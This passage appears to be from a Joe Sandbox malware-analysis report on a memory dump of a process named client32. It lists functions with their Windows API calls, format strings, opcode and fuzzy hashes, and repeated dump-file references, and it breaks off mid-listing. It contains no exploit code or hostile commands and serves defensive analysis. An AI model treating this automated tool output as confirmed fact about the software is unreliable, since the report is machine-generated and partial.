Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandle$CritiusernitializeSectionThreadVersion_malloc_memsetwsprintf
String ID:
API String ID: 1003535115-0
Opcode ID: 9154998f9bead89350cc591ba6d82ba6fbed2b1eec8a96acc9dda808deea2a2c
Instruction ID: 68e594b7f0b416b65d77d8c09baeebda6847d46efb3c775408e77be4df961281
Opcode Fuzzy Hash: 9154998f9bead89350cc591ba6d82ba6fbed2b1eec8a96acc9dda808deea2a2c
Instruction Fuzzy Hash: DC418C74D04719AFEB10DFB4C888BAEB7F4FB44719F404529E92A962C0DB75B444CB51

Function 110CF580 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 110CEBA0: EnterCriticalSection.KERNEL32(00000000,00000000,59FD48C0,00000000,00000000,00000000,110CEEC0,?,00000001), ref: 110CEBDA
Part of subcall function 110CEBA0: LeaveCriticalSection.KERNEL32(00000000), ref: 110CEC42

IsWindow.USER32(?), ref: 110CF5DB

Part of subcall function 110CBE90: GetCurrentThreadId.KERNEL32 ref: 110CBE99

RemovePropA.USER32(?), ref: 110CF608
DeleteObject.GDI32(?), ref: 110CF61C
DeleteObject.GDI32(?), ref: 110CF626
DeleteObject.GDI32(?), ref: 110CF630

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteObject$CriticalSection$CurrentEnterLeavePropRemoveThreadWindow
String ID:
API String ID: 1921910413-0
Opcode ID: b2cb9210c48ec020780b730079c096d2d0f15fc37eb5c92fb884244d7da54c06
Instruction ID: 49f9b284af19ac66117d03b2e5a1d443c85d81a0ae1d984d16ece0102360dfac
Opcode Fuzzy Hash: b2cb9210c48ec020780b730079c096d2d0f15fc37eb5c92fb884244d7da54c06
Instruction Fuzzy Hash: 7D314BB1E007159BDB20DF69C844B5BFBE8AB58B14F004A6DE862D3790DB75E504CF91

Function 110812D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11081356
wsprintfA.USER32 ref: 1108138D

Strings

%02x, xrefs: 11081350
..\CTL32\DataStream.cpp, xrefs: 1108139E
m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}, xrefs: 11081387

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %02x$..\CTL32\DataStream.cpp$m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}
API String ID: 2111968516-476189988
Opcode ID: 2e0a70d7f48be011b9f6aa9edf4a09ec59e0beebed33c2f057e62bcad71544d0
Instruction ID: f12dac7d373f74f5fe212c0395a9fec3f200c40d2e0a4ddded7d9712e57ff33a
Opcode Fuzzy Hash: 2e0a70d7f48be011b9f6aa9edf4a09ec59e0beebed33c2f057e62bcad71544d0
Instruction Fuzzy Hash: E621A375A052299FD724CF65DCC4EAEB3F8EF44308F0085AEE45A97640D670AD45CB60

Function 110253D0 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110253E7
GetDlgItem.USER32(?,00001399), ref: 11025421
TranslateMessage.USER32(?), ref: 1102543A
DispatchMessageA.USER32(?), ref: 11025444
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11025486

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: bebdcbb2c02c8b11af5fb3a0b68c2766af8923a7f1998c3c6d7298e063844038
Instruction ID: 26246af105c186e59b646e9f33a047c98996dcd180a805fce9500a05ed718ca0
Opcode Fuzzy Hash: bebdcbb2c02c8b11af5fb3a0b68c2766af8923a7f1998c3c6d7298e063844038
Instruction Fuzzy Hash: 7B21CF70F0030A67E718DB72C885BABF7F8AB4430DF804429EA2696180FB75A441CB95

Function 11023640 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11023657
GetDlgItem.USER32(?,00001399), ref: 11023691
TranslateMessage.USER32(?), ref: 110236AA
DispatchMessageA.USER32(?), ref: 110236B4
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110236F6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: 99f2709280ea8f9ab550b0ea7e65d4d5f08f048117412abd294c30500ebf5fe6
Instruction ID: e4fa8043caddc7b5f20a5787ebd9a806815b07058dd3ce68a730809c0d747c41
Opcode Fuzzy Hash: 99f2709280ea8f9ab550b0ea7e65d4d5f08f048117412abd294c30500ebf5fe6
Instruction Fuzzy Hash: AF218475E0830A5BE728DB71CC89F6BB7FCBB48708F804469EA1696680F774E445CB91

Function 110B3480 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,?,?,00000000,?,11042D0F,?,?,?), ref: 110B348F
LeaveCriticalSection.KERNEL32(0000002C,?,?,00000000,?,11042D0F,?,?,?), ref: 110B34AE
GetSystemMetrics.USER32(0000004C), ref: 110B34D7
GetSystemMetrics.USER32(0000004D), ref: 110B34DD
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,11042D0F,?,?,?), ref: 110B350B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$LeaveMetricsSystem$Enter
String ID:
API String ID: 4125181052-0
Opcode ID: 6e827b865e112c236f8062b7a01fa85b3c230ff9b8f5b84ba316de4fb96b13dc
Instruction ID: 801bd15c3d0154c41976e2eaa61373d34deab0fe063badba9a51cb8e6142ad09
Opcode Fuzzy Hash: 6e827b865e112c236f8062b7a01fa85b3c230ff9b8f5b84ba316de4fb96b13dc
Instruction Fuzzy Hash: A8115172600608DFD715CF79C8849AAFBE9FF98314B20C66ED51AC7214DB76E806CB90

Function 11037420 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,?), ref: 1103745C
GetDlgItem.USER32(?,?), ref: 1103747B
EnableWindow.USER32(00000000), ref: 1103747E
GetDlgItem.USER32(?,?), ref: 1103748B
ShowWindow.USER32(00000000), ref: 1103748E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$Window$EnableShowText
String ID:
API String ID: 2998856390-0
Opcode ID: a3dd57f40e811cb056004758dced00ebceee77a15d7cbd7a2f2e689cf73dd52f
Instruction ID: 57c7ddd847a5478456caef720018e145f44b1abd5c3db2a1ec897eab876666b4
Opcode Fuzzy Hash: a3dd57f40e811cb056004758dced00ebceee77a15d7cbd7a2f2e689cf73dd52f
Instruction Fuzzy Hash: A701B57961021ABFE7049B35DC88DA7BBADEF85769B04C510FE288B204DB31F91087A0

Function 110916D0 Relevance: 7.6, APIs: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110916EA

Part of subcall function 110CD550: EnterCriticalSection.KERNEL32(00000000,00000000,76963760,00000000,7697A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
Part of subcall function 110CD550: LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4

TranslateAcceleratorA.USER32(?,?,?,?,?,?,11093120,?,00000000,?,00000000), ref: 11091717
TranslateMessage.USER32(?), ref: 11091721
DispatchMessageA.USER32(?), ref: 1109172B
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1109173B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSendTranslate$AcceleratorDispatchEnterLeave
String ID:
API String ID: 754905447-0
Opcode ID: 8836f3c147edcf9cdfb691bbcbb4f4f5b5b89b5fe7a68676181438dadcff888a
Instruction ID: ce8fbc9ac9b0b1bd813cbad70a92dc9222b6ce5bbcd458d30cafe135b1b85486
Opcode Fuzzy Hash: 8836f3c147edcf9cdfb691bbcbb4f4f5b5b89b5fe7a68676181438dadcff888a
Instruction Fuzzy Hash: D6019272F0030F67D714DAB59C95FAFF3BCAB44714F404568E624D6184E774E4068760

Function 110B3400 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,?,?,?,11045FFC,?,00000001), ref: 110B340B
LeaveCriticalSection.KERNEL32(0000002C,?,?,?,11045FFC,?,00000001), ref: 110B342E
SetEvent.KERNEL32(?,?,?,?,11045FFC,?,00000001), ref: 110B344A
LeaveCriticalSection.KERNEL32(0000002C,?,?,?,11045FFC,?,00000001), ref: 110B3451
LeaveCriticalSection.KERNEL32(0000002C,?,?,?,11045FFC,?,00000001), ref: 110B3467

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 8c715f06f450df2ea172f98b616e3d2526d901906a044e0056aef2e33b335bca
Instruction ID: e5f8ef3327ba4f1519da81c03456daf7aec4ee946496b7062d443b07b9ce6233
Opcode Fuzzy Hash: 8c715f06f450df2ea172f98b616e3d2526d901906a044e0056aef2e33b335bca
Instruction Fuzzy Hash: 9601D6321142149FE3219AA9D884BDBFBE8FBAD325F00442BF49AC6500D7B9F446CB61

Function 110F34D0 Relevance: 7.5, APIs: 5, Instructions: 45pipesleepCOMMON

Download Yara Rule

APIs

SetNamedPipeHandleState.KERNEL32(00000000,?,00000000,00000000,?,?,?,110F5AA9), ref: 110F34E5
ConnectNamedPipe.KERNEL32(00000000,00000000,?,?,110F5AA9), ref: 110F34FA
GetLastError.KERNEL32(?,?,110F5AA9), ref: 110F3500
Sleep.KERNEL32(00000064,?,?,110F5AA9), ref: 110F350F
SetNamedPipeHandleState.KERNEL32(00000000,00000003,00000000,00000000,?,?,110F5AA9), ref: 110F3532

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: NamedPipe$HandleState$ConnectErrorLastSleep
String ID:
API String ID: 218362120-0
Opcode ID: 4c47c1bcaee6423ede5432822239bb6bc816e402af8a3d276d6bb81ff69d9390
Instruction ID: 21f70c1f85d7eb0c658cdb8f41c885585f7637e52573ebcef80a1ea4a19d6ab0
Opcode Fuzzy Hash: 4c47c1bcaee6423ede5432822239bb6bc816e402af8a3d276d6bb81ff69d9390
Instruction Fuzzy Hash: 4D01A93465821AABF704CBA4CC8ABAAF7ACEB48714F504069FD15D7180D7719D008761

Function 11021300 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11021362
IsWindowVisible.USER32(00000000), ref: 11021433
wsprintfA.USER32 ref: 11021477

Strings

%d,%d,%d,%d,%d,%d, xrefs: 11021471

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$VisibleWindow
String ID: %d,%d,%d,%d,%d,%d
API String ID: 1671172596-1913222166
Opcode ID: d53aa28a4ccfb8e13cf20ea598e1f96ded17236a1d9ba3be30e792c9697d6fb3
Instruction ID: 208af751730b9df0a36513b51cfb93f89bd03d9f93b9dbce85b9ce09b73d059e
Opcode Fuzzy Hash: d53aa28a4ccfb8e13cf20ea598e1f96ded17236a1d9ba3be30e792c9697d6fb3
Instruction Fuzzy Hash: 465181746001159FD710DB68CC90F9AB7F9BF88708F108698F6599B391DB70ED45CBA0

Function 1104D7C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 1104D839
_strncpy.LIBCMT ref: 1104D845
_strncpy.LIBCMT ref: 1104D889

Strings

Client., xrefs: 1104D84D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: Client.
API String ID: 2961919466-3668916897
Opcode ID: 160051c5169f4dce364570e961c6b97a737e2e0f2d898daf7830f54137779bf2
Instruction ID: 82f9fb5274c218f2e2933d4268d430b101317fb5d5a42cfe602e4bd828547544
Opcode Fuzzy Hash: 160051c5169f4dce364570e961c6b97a737e2e0f2d898daf7830f54137779bf2
Instruction Fuzzy Hash: 5B41A675E00259AFD710CF78C884BEEBBF9EF59314F1445A9D808E7641E771AA04CBA0

Function 11019590 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110196BA

Strings

vector<T> too long, xrefs: 110196B5
